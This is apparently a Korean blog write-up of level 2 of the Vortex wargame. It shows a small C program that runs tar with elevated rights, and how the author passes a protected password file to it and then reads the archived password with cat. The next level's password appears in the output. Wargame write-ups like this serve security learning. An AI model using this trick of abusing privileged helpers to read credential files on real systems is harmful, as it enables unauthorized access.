Rotiple

Vortex Level2

WarGame/Vortex2015. 7. 20. 10:28
#include 
#include 
#include 


int main(int argc, char **argv)
{
        char *args[] = { "/bin/tar", "cf", "/tmp/ownership.$$.tar", argv[1], argv[2], argv[3] };
        execv(args[0], args);
}



tar 파일 압축 하는 명령어를 실행한다 .
이때 인자로 /etc/vortex_pass/vortex3를 주어 같이 압축한뒤 cat으로 파일을 읽으면 되겠다.

vortex2@melinda:/vortex$ ./vortex2 /etc/vortex_pass/vortex3
/bin/tar: Removing leading `/' from member names


/를 지워달라고 한다 .
vortex2@melinda:/vortex$ cd /etc/vortex_pass/


vortex2@melinda:/etc/vortex_pass$ cat /tmp/ownership.\$\$.tar
vortex30000400001161300116130000000001212431355122012174
0ustar  vortex3vortex364ncXTvx#

'WarGame > Vortex' 카테고리의 다른 글

Vortex Level3  (0) 2015.07.20
Vortex Level1  (0) 2015.07.20
Vortex Level0  (0) 2015.07.17